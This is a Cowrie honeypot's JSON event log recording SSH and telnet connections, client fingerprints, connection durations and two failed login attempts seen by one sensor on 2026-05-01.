{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:08.014628Z","src_ip":"58.186.20.101","session":"6fc389960ad3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":48982,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c2f6fa66b69","protocol":"telnet","message":"New connection: 213.129.84.225:48982 (159.203.135.109:23) [session: 6c2f6fa66b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:08.962264Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"hgfdsa","message":"login attempt [test/hgfdsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:09.093489Z","src_ip":"58.186.20.101","session":"6fc389960ad3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":49878,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fce5aeb2cb5","protocol":"telnet","message":"New connection: 213.129.84.225:49878 (159.203.135.109:23) [session: 2fce5aeb2cb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:09.200637Z"}
{"eventid":"cowrie.session.closed","duration":31.38107395172119,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:09.754611Z","src_ip":"213.129.84.225","session":"528e36806093","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":53252,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fe693f462d0","protocol":"telnet","message":"New connection: 213.129.84.225:53252 (159.203.135.109:23) [session: 0fe693f462d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:10.037518Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:10.358292Z","src_ip":"58.186.20.101","session":"6fc389960ad3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":45902,"dst_ip":"10.17.0.5","dst_port":23,"session":"2787225907a9","protocol":"telnet","message":"New connection: 137.184.155.248:45902 (10.17.0.5:23) [session: 2787225907a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:10.756328Z"}
{"eventid":"cowrie.session.closed","duration":30.677385568618774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:11.108122Z","src_ip":"213.129.84.225","session":"71b69a6cecbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.45042896270752,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:11.274777Z","src_ip":"137.184.155.248","session":"335e127531d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":45916,"dst_ip":"10.17.0.5","dst_port":23,"session":"723e5189ecbf","protocol":"telnet","message":"New connection: 137.184.155.248:45916 (10.17.0.5:23) [session: 723e5189ecbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:11.409109Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":33496,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4495667a46d","protocol":"telnet","message":"New connection: 213.129.84.225:33496 (159.203.135.109:23) [session: f4495667a46d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:11.968595Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":33646,"dst_ip":"159.203.135.109","dst_port":23,"session":"572b35476f54","protocol":"telnet","message":"New connection: 213.129.84.225:33646 (159.203.135.109:23) [session: 572b35476f54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:11.995440Z"}
{"eventid":"cowrie.session.closed","duration":30.52066159248352,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:12.148335Z","src_ip":"213.129.84.225","session":"73d25247e9ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.276875495910645,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:13.073833Z","src_ip":"213.129.84.225","session":"47ed77c04140","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.245232582092285,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:14.113904Z","src_ip":"137.184.155.248","session":"7ddc27ad1b1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":44360,"dst_ip":"159.203.135.109","dst_port":23,"session":"83140042e7f8","protocol":"telnet","message":"New connection: 213.129.84.225:44360 (159.203.135.109:23) [session: 83140042e7f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:14.260554Z"}
{"eventid":"cowrie.session.closed","duration":30.50985813140869,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:14.320629Z","src_ip":"213.129.84.225","session":"6b0c5564cf0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":52694,"dst_ip":"159.203.135.109","dst_port":23,"session":"1da45ae4bce3","protocol":"telnet","message":"New connection: 213.129.84.225:52694 (159.203.135.109:23) [session: 1da45ae4bce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:16.048682Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":33730,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0a7014e390f","protocol":"telnet","message":"New connection: 213.129.84.225:33730 (159.203.135.109:23) [session: c0a7014e390f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:18.197462Z"}
{"eventid":"cowrie.session.closed","duration":30.920551776885986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:19.191773Z","src_ip":"213.129.84.225","session":"ae82609bbe1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":43108,"dst_ip":"159.203.135.109","dst_port":23,"session":"c49bfdcf059e","protocol":"telnet","message":"New connection: 213.129.84.225:43108 (159.203.135.109:23) [session: c49bfdcf059e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:20.236746Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":43672,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ad21aa5f3b4","protocol":"telnet","message":"New connection: 213.129.84.225:43672 (159.203.135.109:23) [session: 2ad21aa5f3b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:20.350389Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":52424,"dst_ip":"159.203.135.109","dst_port":23,"session":"761e7bec9822","protocol":"telnet","message":"New connection: 213.129.84.225:52424 (159.203.135.109:23) [session: 761e7bec9822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:22.355352Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":58456,"dst_ip":"10.17.0.5","dst_port":23,"session":"5acae6fadcd2","protocol":"telnet","message":"New connection: 137.184.155.248:58456 (10.17.0.5:23) [session: 5acae6fadcd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:22.835682Z"}
{"eventid":"cowrie.session.closed","duration":30.797409534454346,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:23.040997Z","src_ip":"213.129.84.225","session":"f2cad8498dbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.895139932632446,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:23.094831Z","src_ip":"213.129.84.225","session":"49199d7b4ee8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.204148769378662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:23.100479Z","src_ip":"213.129.84.225","session":"5e8b99f26b3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.533687591552734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:23.415864Z","src_ip":"213.129.84.225","session":"4563777b6c9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":58776,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad6f4ef44890","protocol":"telnet","message":"New connection: 213.129.84.225:58776 (159.203.135.109:23) [session: ad6f4ef44890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:23.677319Z"}
{"eventid":"cowrie.session.closed","duration":30.17451238632202,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:24.080720Z","src_ip":"213.129.84.225","session":"3814c3849f1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.631190299987793,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:24.102353Z","src_ip":"213.129.84.225","session":"1553aa1cd3c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":33344,"dst_ip":"159.203.135.109","dst_port":23,"session":"95e06703e2f6","protocol":"telnet","message":"New connection: 213.129.84.225:33344 (159.203.135.109:23) [session: 95e06703e2f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:24.270445Z"}
{"eventid":"cowrie.session.closed","duration":30.832551956176758,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:27.053246Z","src_ip":"213.129.84.225","session":"c25803a2ac4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.341363906860352,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:27.176949Z","src_ip":"137.184.155.248","session":"5acae6fadcd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":49110,"dst_ip":"159.203.135.109","dst_port":23,"session":"f91921ea2c44","protocol":"telnet","message":"New connection: 213.129.84.225:49110 (159.203.135.109:23) [session: f91921ea2c44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:27.989047Z"}
{"eventid":"cowrie.session.closed","duration":31.367271900177002,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:28.478544Z","src_ip":"213.129.84.225","session":"472565fbdaf2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":59922,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1fb891d76e4","protocol":"telnet","message":"New connection: 213.129.84.225:59922 (159.203.135.109:23) [session: c1fb891d76e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:30.464923Z"}
{"eventid":"cowrie.session.closed","duration":30.762258768081665,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:31.042003Z","src_ip":"213.129.84.225","session":"1f890df110ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.014190196990967,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:31.059145Z","src_ip":"213.129.84.225","session":"ddf8423ee6d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":50314,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8d17b09ec67","protocol":"telnet","message":"New connection: 137.184.155.248:50314 (10.17.0.5:23) [session: c8d17b09ec67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:32.874034Z"}
{"eventid":"cowrie.session.closed","duration":31.001816749572754,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:35.160198Z","src_ip":"213.129.84.225","session":"7e54895a3330","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":53204,"dst_ip":"159.203.135.109","dst_port":23,"session":"23c8c1d5c08a","protocol":"telnet","message":"New connection: 213.129.84.225:53204 (159.203.135.109:23) [session: 23c8c1d5c08a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:35.240299Z"}
{"eventid":"cowrie.session.closed","duration":30.72950792312622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:36.052384Z","src_ip":"213.129.84.225","session":"80d0c5948206","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":50330,"dst_ip":"10.17.0.5","dst_port":23,"session":"615fc3252c23","protocol":"telnet","message":"New connection: 137.184.155.248:50330 (10.17.0.5:23) [session: 615fc3252c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:38.093187Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":40288,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4789e587f84","protocol":"telnet","message":"New connection: 213.129.84.225:40288 (159.203.135.109:23) [session: e4789e587f84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:38.670310Z"}
{"eventid":"cowrie.session.closed","duration":45.51837134361267,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:38.981354Z","src_ip":"137.184.155.248","session":"2e9e70c437e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":44154,"dst_ip":"159.203.135.109","dst_port":23,"session":"707cd17ffda0","protocol":"telnet","message":"New connection: 213.129.84.225:44154 (159.203.135.109:23) [session: 707cd17ffda0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:39.523607Z"}
{"eventid":"cowrie.session.closed","duration":30.85295033454895,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:40.053398Z","src_ip":"213.129.84.225","session":"2fce5aeb2cb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":47416,"dst_ip":"159.203.135.109","dst_port":23,"session":"281fdb080b5b","protocol":"telnet","message":"New connection: 213.129.84.225:47416 (159.203.135.109:23) [session: 281fdb080b5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:40.282179Z"}
{"eventid":"cowrie.session.closed","duration":31.631777048110962,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:40.593931Z","src_ip":"213.129.84.225","session":"6c2f6fa66b69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08406639099121,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:41.121435Z","src_ip":"213.129.84.225","session":"0fe693f462d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":50338,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c6c0fd8520d","protocol":"telnet","message":"New connection: 137.184.155.248:50338 (10.17.0.5:23) [session: 9c6c0fd8520d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:42.354892Z"}
{"eventid":"cowrie.session.closed","duration":31.067431449890137,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:43.062756Z","src_ip":"213.129.84.225","session":"572b35476f54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":59840,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fcef310b313","protocol":"telnet","message":"New connection: 213.129.84.225:59840 (159.203.135.109:23) [session: 2fcef310b313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:43.185898Z"}
{"eventid":"cowrie.session.closed","duration":31.27302074432373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:43.241489Z","src_ip":"213.129.84.225","session":"f4495667a46d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.935204029083252,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:45.195632Z","src_ip":"213.129.84.225","session":"83140042e7f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":54008,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f006d0f61a3","protocol":"telnet","message":"New connection: 137.184.155.248:54008 (10.17.0.5:23) [session: 7f006d0f61a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:45.262436Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":41382,"dst_ip":"159.203.135.109","dst_port":22,"session":"809302ec9765","protocol":"ssh","message":"New connection: 202.125.94.71:41382 (159.203.135.109:22) [session: 809302ec9765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:45.497274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:45.504430Z","src_ip":"202.125.94.71","session":"809302ec9765","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:45.764662Z","src_ip":"202.125.94.71","session":"809302ec9765","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":54018,"dst_ip":"10.17.0.5","dst_port":23,"session":"7891f6934980","protocol":"telnet","message":"New connection: 137.184.155.248:54018 (10.17.0.5:23) [session: 7891f6934980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:46.468940Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":42050,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac78b669c8b7","protocol":"telnet","message":"New connection: 213.129.84.225:42050 (159.203.135.109:23) [session: ac78b669c8b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:46.476172Z"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuserpass","message":"login attempt [testuser/testuserpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:46.835834Z","src_ip":"202.125.94.71","session":"809302ec9765","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.1370792388916,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:47.185628Z","src_ip":"213.129.84.225","session":"1da45ae4bce3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":51778,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cc8ca132d38","protocol":"telnet","message":"New connection: 213.129.84.225:51778 (159.203.135.109:23) [session: 7cc8ca132d38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:47.688206Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:48.097871Z","src_ip":"202.125.94.71","session":"809302ec9765","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.847216606140137,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:49.044573Z","src_ip":"213.129.84.225","session":"c0a7014e390f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":54032,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ccc1641153b","protocol":"telnet","message":"New connection: 137.184.155.248:54032 (10.17.0.5:23) [session: 3ccc1641153b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:51.307462Z"}
{"eventid":"cowrie.session.closed","duration":31.261487007141113,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:51.498145Z","src_ip":"213.129.84.225","session":"c49bfdcf059e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.491698026657104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:51.841952Z","src_ip":"213.129.84.225","session":"2ad21aa5f3b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":41554,"dst_ip":"159.203.135.109","dst_port":23,"session":"c57330135447","protocol":"telnet","message":"New connection: 213.129.84.225:41554 (159.203.135.109:23) [session: c57330135447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:52.616738Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":46480,"dst_ip":"159.203.135.109","dst_port":23,"session":"47018e041f43","protocol":"telnet","message":"New connection: 213.129.84.225:46480 (159.203.135.109:23) [session: 47018e041f43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:52.687280Z"}
